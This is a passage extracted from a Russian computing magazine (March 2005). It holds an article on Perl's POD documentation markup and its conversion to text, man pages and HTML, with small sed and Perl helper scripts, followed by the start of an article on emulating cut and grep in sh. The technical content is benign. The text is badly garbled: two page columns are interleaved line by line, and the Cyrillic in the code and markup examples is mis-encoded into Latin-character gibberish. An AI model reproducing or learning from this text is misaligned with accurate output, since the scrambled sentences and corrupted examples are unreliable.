Разрабатываете ли вы утилиту или обширный пакет про- perlpod: «The Pod format is not necessarily sufficient for writing
грамм, строите ли аппаратный комплекс или создаёте про- a book. Pod is just meant to be an idiot-proof common source
граммно-аппаратную среду, вы неминуемо столкнётесь с for nroff, HTML, TeX, and other markup languages, as used for
необходимостью составления качественной документации. online documentation».
Зачастую требуется или желательно, чтобы документация Аббревиатура POD означает Plain Old Documentation.
была доступна в нескольких форматах: для печати и для POD разрабатывалась для документирования программ
ознакомления on-line. Система POD предлагает простой и модулей, разработанных на языке Perl. Но, во-первых, эта
язык разметки документов и средства конвертирования, по- система достаточно универсальна и может использовать-
зволяющие получить документы в наиболее «ходовых» фор- ся для документирования не только Perl-программ. А во-
матах: не размеченный текст, man-страница, HTML-стра- вторых, она разработана так, что не требует для написа-
ница, PostScript и PDF. ния документации знания языка Perl. Это делает её уни-
версальным, мощным и простым в освоении средством со-
Что такое POD? здания электронных документов.
Постараюсь угадать первые вопросы читателей и коротко Слово «old» в аббревиатуре не должно вводить читателя
ответить на них, но прежде не могу не процитировать perldoc в заблуждение. Система не является устаревшей. Напротив,

74
программирование
она постоянно совершенствуется. В последней версии Perl ! Форматированные абзацы. Обработчики, или програм-
(5.8) впервые появилась подробная спецификация POD. мы просмотра, сами решают, как разбить текст на стро-
Я не могу претендовать на исчерпывающее описание. ки в готовом документе, обеспечив необходимое вырав-
Если оно вам нужно, обратитесь к perldoc perlpodspec. Там нивание. В этих абзацах допускаются конструкции, из-
подробно обсуждаются все детали формата. меняющие шрифт, создающие перекрёстные гиперссыл-
Например, что будет, если в список вставить заголовок ки, расширяющие набор доступных символов. Об этих
или повторно выделить жирным текст, уже являющийся возможностях я буду говорить ниже.
таковым. Для решения большинства задач документирова- ! Неформатированные абзацы чаще всего используются
ния этих тонкостей знать не надо. Они нужны, скорее, раз- для представления листингов программ. Здесь в резуль-
работчикам новых конвертеров POD-документов в другие тирующем документе сохраняется то же разбиение на
форматы. Для пользователя существует описание форма- строки, что и в POD-файле. Всегда используется моно-
та POD perldoc perlpod. В этой статье я практически не буду ширинный шрифт. Никакие управляющие последова-
выходить за его рамки, но отдельно рассмотрю вопросы ки- тельности символов не обрабатываются, а отобража-
риллизации POD, не затронутые ни в одном из указанных ются вместе с остальным текстом «как есть».
руководств. ! Управляющие параграфы содержат команды, управля-
ющие структурой документа: заголовками, списками и
Принцип работы POD прочим.
Читатели, знакомые с HTML или системой вёрстки TeX/
LaTeX, уже встречались с подходом, практикуемым и в POD. Тип параграфа задаётся очень просто:
Это не WYSIWYG-система. Она предполагает, что вы раз- ! если первый символ параграфа не пробел и не знак «=»,
рабатываете документ в определённом формате, а потом то это форматированный параграф;
конвертируете его в любой другой, который необходим вам ! если первый символ пробел – неформатированный;
для печати или просмотра. ! если знак «=» – управляющий.
Это позволяет поддерживать одну «мастер-версию» в
формате POD, из которой по мере необходимости вы смо- Вот простой пример форматированного и неформати-
жете получать документы в различных форматах и по-раз- рованного параграфов:
ному оформленные, например, отличающиеся базовым раз-
мером шрифта или свёрстанные в одну или две колонки. Êîíâåðòèðîâàòü EPS-ôàéë â ëþáîé äðóãîé ôîðìàò ìîæíî
ïðîãðàììîé C<gs>, èìåþùåé íåèñ÷èñëèìîå ìíîæåñòâî îïöèé
Таким образом, для освоения POD нам придётся рас- è âîçìîæíîñòåé. Ïðèìåð:
смотреть сам формат и средства конвертирования.
gs -sDEVICE=png16 \
-sOutputFile=drag.png \
Статья и примеры -dBATCH \
-dNOPAUSE \
В статье я буду рассказывать о возможностях POD от про- -r72x72 \
стого к сложному. При накоплении критической массы зна- -sPAPERSIZE=a5 \
drag.eps
ний мы будем отвлекаться и рассматривать вопросы кон-
вертирования POD-документов в соответствующий формат. Обратите внимание, второй параграф («gs...») начина-
Естественно, при таком изложении и форматы будут идти ется с пробела, это неформатированный параграф. После
от простых к сложным. обработки, в формате PDF этот фрагмент будет выглядеть
Для того чтобы не быть голословным, я написал крошеч- примерно так:
ную программку на Perl и снабдил её инструкцией. Подавля-
ющее большинство примеров в этой статье взяты из неё.
Вы можете получить полную версию программы и докумен-
тации на сайте журнала в разделе «Исходный код». Далее
я буду называть этот файл для краткости просто архивом.
В него входят документированная программа и все сред-
ства преобразования документации в форматы – от про-
стых текстовых до PostScript, PDF и HTML. Конвертирова-
ние в PostScript и PDF будет описано в следующем номере.
Перейдём к рассмотрению возможностей POD. Начнём
с базовых принципов формата POD.
Конечно, внешний вид будет слегка варьироваться в за-
Абзацы в POD висимости от того, какой вы выберете размер шрифта при
Формат POD предполагает, что весь документ разбит на создании PDF, каков будет размер бумаги и поля, во сколь-
абзацы, которые отделены друг от друга одной (или более) ко колонок будет свёрстан документ, будет ли использо-
пустой строкой. Очень желательно, чтобы это была дей- ваться система автоматической расстановки переносов.
ствительно пустая строка, не содержащая даже пробелов.
Старые версии обработчиков POD могут некорректно реа- Основные команды
гировать на подобные неточности соблюдения формата. Управляющих команд совсем немного, и в этом разделе мы
Абзацы бывают всего трёх типов: рассмотрим почти все из них.

№3, март 2005 75


программирование
Оформление команд, команды начала Как видите, номера расставляются автоматически. Ско-
и конца документа ро мы увидим, что автоматически могут создаваться и ог-
Сперва скажу о командах =pod и =cut. Они задают начало лавления.
и конец POD-документа соответственно.
Использование =сut не обязательно. Эта команда по- Списки
лезна в тех случаях, когда файл содержит не только POD- Для форматирования списков в POD предусмотрено три ко-
документ. При документировании Perl-программ и моду- манды:
лей общепринятой практикой является включение в один ! Команда =over отмечает начало списка. Если после неё
файл и Perl-кода программы или модуля, и POD-докумен- указано число, то оно интерпретируется как величина
та к нему. отступа, указанная в единицах em (приблизительно ши-
Обратите внимание! Чтобы эти команды получили дол- рина буквы «M»). Эта величина носит рекомендатель-
жную интерпретацию, их следует оформить как отдельные ный характер, она может игнорироваться, если вы кон-
командные параграфы. То есть они должны иметь по од- вертируете POD в формат, не позволяющий управлять
ной (или более) пустых строк до и после; а знак «=» должен отступом.
быть первым в строке. ! Команда =back завершает список.
В следующем примере я создал простой POD-документ, ! Каждый элемент списка задаётся командой =item. Её
содержащий три слова: можно использовать только в окружении =over/=back.
Текст абзаца, следующий за =item, является маркером
=pod элемента списка. Это может быть звёздочка (ненуме-
Ïðèâåò îò POD. рованный список), число (нумерованный список) или
некий термин, ключ командной строки, оператор, пе-
=cut
ременная или краткая фраза, выполняющая роль под-
Если вы оформите его так: заголовка. В традиционной для UNIX man-документа-
ции чаще используется последний вид списков, и POD
=pod более ориентирован на них.
Ïðèâåò îò POD.
=cut Спецификация POD настаивает на том, чтобы разра-
ботчики не использовали смешанных списков. То есть в
то «=cut» будет считаться просто четвёртым словом в един- одном списке не должны сочетаться и нумерованные и не-
ственном форматированном параграфе документа. нумерованные элементы (вряд ли кому-то понадобится та-
Об этой специфике надо помнить и при использовании кой список-химера).
других команд. Я для краткости буду говорить о «коман- POD-процессоры оставляют за собой право заменять
дах», но подразумевать буду управляющие параграфы, на- маркеры-звёздочки на более подходящие символы, если
чинающиеся с этих команд. это возможно (например, в формате HTML). В нумерован-
ных списках рекомендуется начинать нумерацию с едини-
Заголовки цы.
Команды =head1, =head2, =head3, =head4 позволяют зада- Сам элемент списка, отмеченный маркером, содержит-
вать заголовки разных уровней. Весь текст абзаца после ся в следующем абзаце или абзацах. Список может вооб-
этих команд интерпретируется как текст заголовка. ще не содержать элементов, а только маркеры.
Вот фрагмент POD-документа, содержащего различные Вот пример списка (не обращайте пока внимания на уп-
заголовки: равляющие последовательности C<...> и E<...>, мы к ним
ещё вернёмся):
=head1 Àëãîðèòìû ïîñòðîåíèÿ
Âñ¸ ïîñòðîåíèå âåä¸ò ïîäïðîãðàììà C<next_step>.
Ïðèâåäó çäåñü äâà àëãîðèòìà, îòëè÷àþùèõñÿ ïðèíöèïèàëüíî. Îíà ïîëó÷àåò ñëåäóþùèå ïàðàìåòðû:
=head2 Èòåðàöèîííûé àëãîðèòì ïîñòðîåíèÿ äðàêîíà =over
Íàñòîÿùàÿ ïðîãðàììà èñïîëüçóåò èìåííî ýòîò àëãîðèòì.
=item $x, $y
Ïåðâûé è âòîðîé E<mdash> êîîðäèíàòû
А вот PDF-результат: íà÷àëà âåêòîðà.
=item $dx, $dy
Òðåòèé è ÷åòâ¸ðòûé E<mdash> êîîðäèíàòû
ñàìîãî âåêòîðà.
=item $d

Òåêóùàÿ ãëóáèíà ðåêóðñèè.


=back

В формате PDF этот фрагмент кода будет давать при-


мерно такой результат.

76
программирование
Управляющие последовательности просты и компактны:

×àñòü òåêñòà ìîæíî âûäåëèòü I<êóðñèâîì>,


íåêîòîðûå ôðàãìåíòû - B<ïîëóæèðíûì øðèôòîì>
èëè C<ìîíîøèðèííûì øðèôòîì>.

Здесь, как вы уже догадались, слова «курсивом», «по-


лужирным шрифтом» и «моноширинным шрифтом» будут
оформлены соответствующим образом.
Если формат, в который вы конвертируете документ, не
допускает подобных вариаций шрифта (например, рассмот-
ренный выше обычный текст), то управляющие последова-
тельности будут корректно проигнорированы.
Маркеры можно не указывать, тогда их не будет и в ре- POD предлагает и средства логической разметки. Кон-
зультирующем документе. Отступ же сохранится. струкция F<...> предназначена для выделения имён фай-
Списки можно использовать и не совсем по назначению. лов (обычно эквивалентна курсиву I<...>). Конструкция
Например, вот так: X<...> игнорируется большинством конвертеров, но может
использоваться для создания предметных указателей. Кон-
струкция S<...> указывает на то, что текст, заключённый в
ней, не должен разбиваться на строки. Например:

S<Ñèòíèêîâà Î.Â.>

Это просто список из одного элемента. или

Первый опыт конвертирования S<5 êã.>


Мы уже знаем достаточно, чтобы разметить простенький
POD-документ. Готовый POD-файл можно сконвертировать Инициалы всегда будут находиться на одной строке с
в текстовый документ. Делается это командой pod2text, фамилией, а единицы измерения не «оторвутся» от вели-
например, так: чины.
Для полноты скажу о довольно редко используемой пос-
pod2text input.pod >output.txt ледовательности Z<>. Это «символ нулевой ширины». Он
не отображается на печати и поэтому может показаться
Вот как будет выглядеть результат конвертирования абсолютно бесполезным. Пример его использования я при-
фрагмента документа, который я привёл в разделе про за- веду чуть ниже.
головки: Как только вы начнёте создавать свои собственные POD-
документы, вы столкнётесь с одной проблемой. Как выде-
лить курсивом фразу «Alex <a@i.am>» или выделить жир-
ным «I>10A»?
Очевидно, конструкция вида:
Команда pod2text допускает множество ключей. Пере-
числять их все нет смысла, тем более что многие предос- B<I>10A>
тавляют весьма экзотические возможности (например, со-
хранение в результирующем документе не только обрабо- не даст требуемого результата. Жирным будет выделена
танного POD-кода, но и всего остального содержимого только буква I, а необходимый нам знак «больше» вообще
файла), которые могут быть полезны только Perl-програм- исчезнет, будучи проинтерпретирован как часть управляю-
мистам. Я лишь упомяну о весьма полезной опции -w, по- щей последовательности.
зволяющей указать ширину документа. Опция -m позволя- В ранних версиях POD эта проблема решалась только
ет задать поля. путём использования escape-последовательностей (о них
Я ещё вернусь к вопросам конвертирования в тексто- разговор ниже). Этот метод работает и по сей день, но он
вый формат, когда мы продвинемся чуть дальше в освое- не очень удобен. Начиная с версии POD, поставляемой с
нии POD, а исчерпывающую информацию по pod2text мож- Perl 5.5.660, был предложен гораздо более изящный путь
но найти в руководстве perldoc pod2text. обойти эти затруднения. Теперь фрагмент текста, подле-
жащий выделению, можно ограничивать любым количе-
Форматирование ством символов «<« и «>». «Открывающая» и «закрываю-
Давайте теперь рассмотрим, какую разметку допускают щая» последовательности должны быть одинаковой дли-
форматированные абзацы. В форматированных абзацах ны, а заключённый в них текст должен быть дополнен про-
можно задавать определённое оформление текста. Доступ- белами в начале и в конце. Эти пробелы также являются
ны три классические возможности: жирный шрифт (bold), частью управляющей конструкции и не будут отображать-
курсивный шрифт (italic) и моноширинный шрифт (code). ся на печати.

№3, март 2005 77


программирование
То есть в нашем примере требуемого результата можно ся. POD-процессоры, преобразующие документы в тексто-
добиться, написав в POD-файле: вые форматы, «не любят» Unicode. А в HTML-документах
Unicode-символы (&#NNNN;) могут вызвать неожиданные
B<< I>10A >> смены семейств шрифтов и прочие недоразумения, причи-
ны которых бывает трудно установить.
Более «тяжеловесные» ограничители тоже могут при- Используя как раз такую запись, можно обойти пробле-
годиться. Например: мы, описанные выше:

C<<< cat part >> file2append >>> B<IE<gt>10A>

Здесь вся фраза «cat part >> file2append» будет оформ- Как видите, способ не самый удачный, но зато он рабо-
ляться моноширинным шрифтом. тает и в старых версиях POD.
Как раз здесь уместно вспомнить о последовательнос- Здесь же уместно привести ещё один пример использо-
ти Z<>. Её можно внедрить между двумя символами «боль- вания Z<>. Если вам потребуется получить последователь-
ше». Она никак не повлияет на внешний вид документа, но ность символов «E<60>» в форматированном параграфе,
разобьёт последовательность «>>», которая в противном то в POD-файле её можно записать так:
случае могла бы быть интерпретирована как управляющая.
Одним словом, код: EZ<><60>

C<< cat part >> file2append >> Тогда она не будет обработана как escape-последова-
тельность.
будет понят POD-конвертерами не так, как мы хотели, а код:
Конвертирование в «цветной» текст
<< cat part >Z<>> file2append >> и man
Теперь мы знаем о POD почти всё и можем посмотреть, как
даст как раз требуемый результат. с этим работать. Для начала рассмотрим текстовые фор-
Честно говоря, я не сталкивался с ситуациями, когда маты.
использование последовательности Z<> было бы действи- Не секрет, что в текстовом формате доступен весьма
тельно оправданно (мой пример – не исключение), но, воз- скромный набор символов (максимум 256), а шрифт варь-
можно, вы встретитесь с такими ситуациями, и вам она со- ировать нельзя. Поэтому ни pod2text, ни pod2man не обра-
служит хорошую службу. батывают «сложные» escape-последовательности. То есть
Такая же разметка допустима и в управляющих пара- последовательность E<mdash> так и попадёт в текст доку-
графах, например, в тексте заголовков, но там её исполь- мента необработанной потому, что символ «длинное тире»
зование не вполне оправданно. Текст управляющих пара- недопустим в текстовом документе. Вы получите предуп-
графов и так форматируется соответствующим образом; реждающее сообщение «Unknown escape». Корректно об-
причём в разных форматах по-разному. Имеет ли смысл рабатываются только «простые» символы. Например, пос-
выделять жирным шрифтом слово в заголовке, которое и ледовательность E<gt> (или E<62>) будет, как и положено,
без того будет отформатирован жирным? Кроме того, мо- преобразована в знак «больше».
гут возникнуть недоразумения: в заголовке форматирова- В разделе «Списки» вы уже видели, как получить длин-
ния не видно, а в оглавлении – видно. ное тире с помощью последовательности E<mdash>. В моём
примере встречается ещё один «неординарный» символ –
Специальные символы градус. По аналогии с HTML он именуется deg. После кон-
(escape-последовательности) вертирования в такие форматы, как HTML эти символы
Набор символов, доступных в форматированных абзацах, выглядят абсолютно корректно и только украшают текст,
гораздо шире стандартного ASCII-набора. Символы можно но текстовые конвертеры не в состоянии их обработать:
задавать с помощью последовательности E<...>. Её «аргу- Эта проблема немного надуманная. Вряд ли вам пона-
ментом» может быть имя символа или код. Имена симво- добится и изящно оформленный HTML- или PostScript-до-
лов совпадают с именами, используемыми в HTML, коды кумент, и примитивный текстовый вариант документации.
могут быть и ASCII, и Unicode-кодами символов (никогда Честно говоря, я впервые заметил эту проблему только ког-
не пробовал использовать Unicode, но согласно докумен- да готовил материал настоящей статьи и мне для иллюст-
тации – должно работать). Согласно документации, если раций понадобились все форматы. Но если вы с ней всё-
код предварён конструкцией «0x», он интерпретируется как таки столкнётесь, то можете применить несложный скрипт,
шестнадцатеричный, если начинается с нуля – как восьме- который будет корректно «вычищать» escape-последова-
ричный. Например, E<gt> обозначает знак «больше». Этот тельности из документа перед его преобразованием в тек-
же символ можно получить, задав его код в любой системе стовый формат.
счисления: E<62> или E<0x3e>, или E<076>. Однако мой Я использовал вот такой скрипт:
опыт показывает, что надёжнее использовать десятерич-
ные коды. #!/usr/bin/sed -f
s/E<mdash>/--/g
От использования Unicode я бы советовал воздержать- s/E<deg>/ ãðàäóñîâ/g

78
программирование
Как видите, это sed-фильтр, который заменяет «E<mdash>»
на «—», «E<deg>» на слово «градусов». Все текстовые до-
кументы я получал, предварительно пропустив исходный
документ через этот фильтр:

./antiescape file.pod | pod2text >file.text Здесь я применил pod2text без каких-либо параметров.
Обратите внимание, что название подпрограммы взято
Это, пожалуй, единственная неприятная особенность в кавычки, которых в POD-документе мы не писали. Это
конвертеров в текстовые форматы. Теперь о приятном: об произошло потому, что мы указали, что «next_step» – код
их возможностях, пусть скромных, но всё-таки заслужива- программы – C<...>. По умолчанию конвертер pod2text зак-
ющих пары слов. лючает фрагменты кода в кавычки. Это поведение можно
Начнём с самого простого pod2text. скорректировать. Опция -q none подавляет кавычки, опция
Опция -c позволяет ему разметить текст цветом при -q с иным аргументом задаёт альтернативные символы ка-
помощи ANSI escape-последовательностей. вычек. За подробностями обращайтесь к man-странице
Вот как будет выглядеть на экране терминала фрагмент pod2text или pod2man или perldoc-страницам, посвящённым
документа, полученного с помощью pod2text -c (мы, конеч- этим командам.
но, предварительно обработали POD-файл фильтром antie-
scape): Конвертирование в HTML
В полную силу возможности форматирования начинают
работать при конвертировании в более «серьёзные фор-
маты», например, в HTML. Преобразование осуществляет
программа pod2html. Уже знакомый нам фрагмент в фор-
мате HTML будет выглядеть так:

Вы видите, что заголовки отформатированы жирным


шрифтом, а курсив – синим. Конкретные цвета зависят от
настроек терминала.
Рассмотренное форматирование примерно в той же
мере сохраняется и на man-страницах, полученных из POD-
источников.
Вот тот же фрагмент документа, после конвертирова-
ния его утилитой pod2man (в просмотрщике от mc): Как видите, всё форматирование отражено в полной
мере, но один неприятный сюрприз нам всё-таки уготован.
Утилита pod2html создаёт оглавление в начале докумен-
та. Это очень удобно (а если не удобно, то можно отменить
ключом --noindex), но оно создаётся явно без учёта русской
специфики. В качестве якорей и ссылок используется не-
посредственно текст соответствующих заголовков. То есть
в нашем случае якоря и ссылки будут содержать русские
Конвертер pod2man ещё более гибок, чем pod2text. При- буквы. Не все браузеры лояльны к таким вольностям.
водить здесь все его опции я не буду, они во многом сход- Чтобы обойти эту неприятность, я использую следую-
ны с опциями pod2text и прекрасно описаны в perldoc щий несложный скрипт на Perl:
pod2man. Остановлюсь лишь на специфических, именно для
формата man. #!/usr/bin/perl
undef $/;
Man-страница, как вы знаете, имеет колонтитулы. В вер- $_=<>;
хнем колонтитуле, справа и слева, традиционно, указывает- %h=();
$c=0;
ся имя команды. Оно задаётся ключом -n. В центре верхнего s/href="#(.+?)"/$c++; $h{$1}=$c; qq|href="#$c"|/ge;
колонтитула обычно указывается что-то вроде «FreeBSD s/name="(.+?)"/"name=\"".($h{$1}?$h{$1}:$1)."\""/ge;
print;
General Commands Manual». Эту строку вы можете задать,
используя ключ -c. В нижнем колонтитуле, справа и слева, Как видите, это фильтр. Он считывает стандартный ввод,
обычно указывается версия ОС. Эта информация может создаёт хэш якорей и производит надлежащие замены.
быть задана ключом -r. В центре нижнего колонтитула по Затем результат отправляется на стандартный вывод.
традиции указывается дата создания документа. Её можно Я назвал этот скрипт antirus.pl (он входит в архив к этой
изменить с помощью ключа -d. статье). Команда:
Оба конвертера pod2man и pod2text поддерживают оп-
цию -q, не сказать о которой нельзя. Вот как будет выгля- pod2html file.pod | antirus.pl > file.html
деть результат обработки POD-фрагмента, который я при-
водил в качестве примера в разделе «списки»: создаст «безопасный» HTML-файл.

№3, март 2005 79


программирование
Гиперссылки Если вам необходимо вставить большой формат-ориен-
Гиперссылки формируются только при конвертировании в тированный фрагмент документа, то можно использовать
HTML-формат. Во всех остальных форматах конструкции, пару команд =begin/=end.
описывающие ссылку, обрабатываются корректно: текст Наш пример можно переписать так:
ссылки попадает в документ, но ссылкой он, конечно, не
становится. Тем не менее гиперссылки заслуживают крат- =begin html
кого описания. <hr>
В наиболее общем случае ссылка создаётся последо-
=end html
вательностью L<текст|документ/раздел>. «Текст» будет
виден читателю документа и будет являться ссылкой. «До- Обратите внимание, что, как и любые другие команды,
кумент» – имя документа. «Раздел» – раздел в документе. =begin и =end должны находиться в отдельных абзацах.
При необходимости любое из полей можно взять в кавычки. Таким образом, вы можете писать документ в формате
Раздел можно не указывать. Если не указан документ, то POD, но использовать и средства разметки других форма-
предполагается, что это ссылка на один из разделов теку- тов, когда это необходимо. Чаще всего эти возможности
щего документа. Ссылки используются довольно редко и используются для вставки графики.
имеют много ограничений. Как вы уже поняли, ни одно из К сожалению, нельзя вставлять специфичные для фор-
полей не может содержать символы «|» и «/». Это ограниче- мата фрагменты внутри абзаца (in-line). То есть вам вряд
ние можно обойти, используя escape-последовательности. ли удастся успешно использовать теги <font>, <small>, <sup>
Наличие документа, указанного между «|» и «/», прове- и подобные.
ряется. Если он не найден, то ссылка не создаётся. По умол-
чанию поиск ведётся среди модулей Perl, но пути можно Вставка рисунков в HTML
задать и свои. В поле «раздел» следует указывать полное Теперь становится ясно, как включить изображение в HTML-
название раздела. Это не только громоздко, но и приводит документ. Для этого в POD-исходнике можно написать что-
к созданию «русских» якорей и ссылок в русскоязычных до- то подобное:
кументах, что весьма нежелательно.
Ограничусь одним примером: =for html
<center><img src="examp.png" hspace="3"></center>
=pod В результате в HTML-код будет помещена указанная
=head1 Ãëàâà I строка, а значит, и картинка со всеми HTML-специфичны-
ми атрибутами.
L<ýòî ññûëêà íà Ãëàâó I|/"Ãëàâà I">

Если вам понадобится более подробная информация о «Причёсываем» HTML


ссылках, обращайтесь к документации на POD, но я бы не Теперь, когда мы знаем большинство тонкостей конверти-
назвал возможность создания ссылок доведённой до со- рования в HTML-формат, уместно будет сказать о возмож-
вершенства. А в русскоязычных документах работа со ссыл- ных «косметических» улучшениях. Как мы видели раньше,
ками ещё более затруднена, чем в англоязычных. документ получается максимально простой: шрифт – по
Предложенная мною программа, корректирующая ссыл- умолчанию, цвета – белый и чёрный. Такая строгость не
ки, должна быть значительно доработана, прежде чем она всегда уместна.
сможет работать с группами файлов и обрабатывать ссыл- Ситуацию можно исправить практически одним движе-
ки не только внутри документа, но и между документами. нием, включив в состав HTML-документа CSS-таблицу (или
Я полагаю, что если вам действительно понадобится ссылку на отдельный файл, содержащий CSS-таблицу).
система взаимосвязанных HTML-документов, то POD – не Для этого можно использовать несколько путей.
лучшее средство разработки. Поэтому я не предлагаю ни- Можно вставить CSS-таблицу непосредственно в POD-
каких средств корректировки гиперссылок. документ.

Вставки, специфичные =begin html


для разных форматов <style type="text/css"><!--
Мы не рассмотрели ещё три команды. òåëî òàáëèöû
// --></style>
Начав параграф с команды =for, вы сообщаете обра-
ботчику POD-документа, что этот параграф предназначен =end html
для определённого формата. Например:
Такой подход не очень хорош по двум причинам. Во-пер-
=for html <hr> вых, он не удобен, если вы создаёте несколько документов
(или часто готовите инструкции и руководства), потому что
Этот параграф предназначен только для формата HTML. вам придётся вставлять эту громоздкую конструкцию в каж-
Он будет исключён из документа всеми обработчиками, дый POD-файл. Во-вторых, CSS-таблица окажется не в за-
кроме pod2html. А этот единственный включит содержимое головке документа (между тегами <head> и </head>), как
параграфа в HTML-документ без изменений, и в HTML-до- это принято.
кументе появится горизонтальная черта. Тем же методом можно вставить и HTML-элемент link,

80
программирование
обеспечивающий связь с CSS-таблицей, находящейся во
внешнем файле.

=for html <link rel="stylesheet" href="file.css" type="text/css">

В этом случае указанный HTML-тег тоже окажется в теле


документа (между <body> и </body>), что не очень жела-
тельно.
Чтобы включить тег link в заголовок документа (где ему
и положено быть), можно использовать ключ --css:

pod2html --css file.css file.pod >file.html

Но мне представляется более уместным включать в


HTML-документы не элемент link, а полную CSS-таблицу.
Это не намного «утяжелит» результат (что вообще не кри-
тично для off-line-ориентированных документов), но сдела- Предполагая, что читатель знаком с CSS, остановлюсь
ет его более «монолитным». Зачастую документация адре- только на особенностях моей CSS-таблицы.
суется не очень квалифицированному пользователю, кото- Первый элемент просто оговаривает вид ссылок. На
рый может достаточно своевольно с ней обращаться (на- рисунке их нет, но поверьте, они становятся зелёными.
пример пересылать отдельные файлы по e-mail коллегам в Второй элемент таблицы определяет вид заголовков.
другой офис). Мой опыт подсказывает, что лучше созда- Обратите внимание, что мы задаём не просто стиль заго-
вать максимально самодостаточные файлы. ловков, а заголовков-ссылок. Это делается не случайно. При
Чтобы автоматизировать процесс вставки полноценной формировании HTML-документа система POD делает мно-
CSS-таблицы в HTML-код, могу предложить элементарный гие части документа (в том числе и заголовки) якорями ги-
скрипт: перссылок на случай, если на них потребуется сослаться
из другого документа. Поэтому в формате HTML заголовки
#!/usr/bin/perl оформляются следующим образом:
undef $/;
$_=<>; <h1><a name="ÿêîðü">òåêñò çàãîëîâêà</a></h1>
s|</head>|<style type="text/css"><!--
a {
font-family: sans-serif; Теперь становится ясно, что если мы опишем только
weight: bold;
text-decoration: none; действие тега h1, то заголовок будет оформлен всё равно
color: #090; по правилам оформления ссылок (тег a). То есть в нашем
}
h1 a, h2 a{ случае заголовок унаследовал бы от ссылок зелёный цвет.
color: #C00; Чтобы добиться желаемого результата – задать формати-
font-family: sans-serif;
} рование заголовков – нам следует описать действие пары
dt strong a{ тегов h1 и a, что мы и делаем. По той же причине мы опи-
color: #900;
} сываем не тег dt, а всю связку dt-strong-a. Это стиль для
code { маркеров списков. Тегом code снабжаются фрагменты кода
background: #ccc;
font-weight: bold; (C<...>). Я задал для этих элементов сероватый фон.
} Для абзацев оговорено выравнивание по обоим сторо-
p {
text-align: justify; нам колонки.
} Тегом pre оформляются неформатированные абзацы.
pre {
background: #ffe; Я, как можно видеть из картинки и как описано в CSS-таб-
border-width: 3px; лице, задал для этих частей документа рамку и жёлтый фон.
border-style: solid;
border-color: #ddc #443 #443 #ddc; Конечно, вы можете задать любые стили, шрифты, вы-
} равнивания, отступы, цвета; главное при этом учитывать
// --></style>
</head>|; структуру документа, формируемого pod2html, чтобы стиль
print; ссылок не конфликтовал с другими стилями.

Как видите, вся его работа заключается в том, что он Продолжение следует
вставляет CSS-таблицу перед тегом </head>. Практически В следующем номере я опишу процедуру конвертирования
всё его тело тоже составляет CSS-таблица. POD-документов в форматы PostScript и PDF. Коснусь кон-
Кстати, использование такого скрипта полностью осво- вертирования в такие форматы, как Microsoft Word Document
бождает вас от необходимости указывать в POD-файле и RTF. Расскажу о средствах автоматической проверки пра-
какие-либо дополнительные конструкции (типа =for html). вильности POD-синтаксиса. И поделюсь своими мыслями
После пропускания HTML-документа через этот фильтр, о перспективах развития POD и о том, каких усовершен-
вид его кардинально изменится. Вот фрагмент: ствований можно ждать от будущих версий.

№3, март 2005 81


программирование

ПРОГРАММИРОВАНИЕ НА SHELL
В ЭКСТРЕМАЛЬНЫХ УСЛОВИЯХ

ГАСПАР ЧИЛИНГАРОВ
Эта статья описывает нетривиальные способы использо- class, задается при помощи квадратных скобок [ ]) или стро-
вания программной оболочки sh для создания скриптов. ка. Все последующие аргументы воспринимаются как стро-
Например, реализацию на sh простого аналога grep. ка, которая должна быть обработана. Если передавать стро-
Зачем это нужно? В случае, если вы крайне ограниче- ку без использования одинарных('') или двойных кавычек(«»),
ны в дисковом пространстве или объеме памяти, которые то sh сам разобъет ее на подстроки, используя свой разде-
вы можете использовать для прикладных программ. В моей литель входных полей (задается в переменной IFS), что не
ситуации при создании системы на базе PicoBSD свобод- всегда желательно. Шаблоны в sh всегда «жадные», т.е. пы-
ного места на дискете было крайне мало, чтобы записать таются соответствовать максимальному количеству симво-
туда стандартные утилиты. Все скрипты рассчитаны и пи- лов, поэтому если вы передаете как разделитель символ *,
сались для использования в PicoBSD/FreeBSD и использу- результаты могут быть непредсказуемые. Знак «?» можно
ют возможности стандартного интепретатора /bin/sh. использовать в разделителе для обозначения любого сим-
вола.
Реализация шаблонов
(regular expression) в sh cut_atomic () {
local DELIM STRING
Иногда бывает необходимо сравнить текстовые данные с # ðàçäåëèòåëü ìîæåò áûòü ëþáîé ñòðîêîé, íå òîëüêî îäèí ñèìâîë
шаблоном или выделить оттуда какую-то часть. Для этого DELIM="$1"
shift
обыкновенно используются sed, awk или perl – в зависимо- # îñòàâøèåñÿ àðãóìåíòû
сти от пристрастий программиста и сложности задачи. Од- STRING=$*
нако когда вы ограничены объемом памяти, для простых за- result=${STRING%%${DELIM}*}
дач крайне нецелесообразно использовать отдельные ути- return 0
}
литы. Перед дальнейшим чтением обязательно ознакомь-
тесь с разделом Parameter Expansion в руководстве по sh(1). В данном случае запись ${переменная%%шаблон} уда-
Ниже приведены примеры, как эмулировать утилиту cut ляет наибольший возможный суффикс из строки – то есть
при помощи скриптов и функций sh. остаются только символы с начала строки до первого вхож-
Все описанные функции возвращают результат в гло- дения разделителя.
бальной переменной result. В случае удачного завершения
код выхода у функций равен 0, и имеет ненулевое значе- Аналог cut(1)
ние, если произошла ошибка. Если результат функции не Функция cut работает аналогично вызову утилиты:
определен или функция ничего не возвращает, то она при-
сваивает переменной result пустую строку. cut -d${ðàçäåëèòåëü} -f${íà÷àëüíîå_ïîëå} -${êîíå÷íîå_ïîëå}

cut_atomic Входная строка разбивается на подстроки с использо-


Функция cut_atomic сканирует строку слева и удаляет все ванием $разделитель, после чего возвращаются поля с но-
символы от первого вхождения разделителя до конца стро- мерами от ${начальное_поле} до ${конечное_поле}. Первый
ки. Первый аргумент функции – собственно сам раздели- аргумент функции – разделитель полей, второй и третий
тель. Это может быть один символ, класс символов (character параметры – номер начального и конечного поля. Все ос-

82
программирование
тавшиеся аргументы – обрабатываемая строка. Функция чуть extract_manufacturer "$S"
удобнее в использовании, чем утилита cut, так как в каче- echo "manufacturer code: $result"
стве разделителя может использоваться не только один
символ, но и строка или шаблон. Если вам нужно получить Проверка на соответствие шаблону
только одно поле, следует задать одинаковый начальный и Иногда необходимо проверить соответствие строки неко-
конечный индекс. торому шаблону. Одно из основных применений – провер-
ка входных данных. Единственный способ в shell, который
cut () { позволяет проверить, соответствует данная строка шабло-
local DELIM POS1 POS2 STRING STR1 POSTFIX
ну или нет, – это использование оператора case. Для удоб-
DELIM="$1" # ðàçäåëèòåëü ства можно создать вокруг него обертку – «wrapper».
POS1=$2 # íà÷àëüíûé èíäåêñ
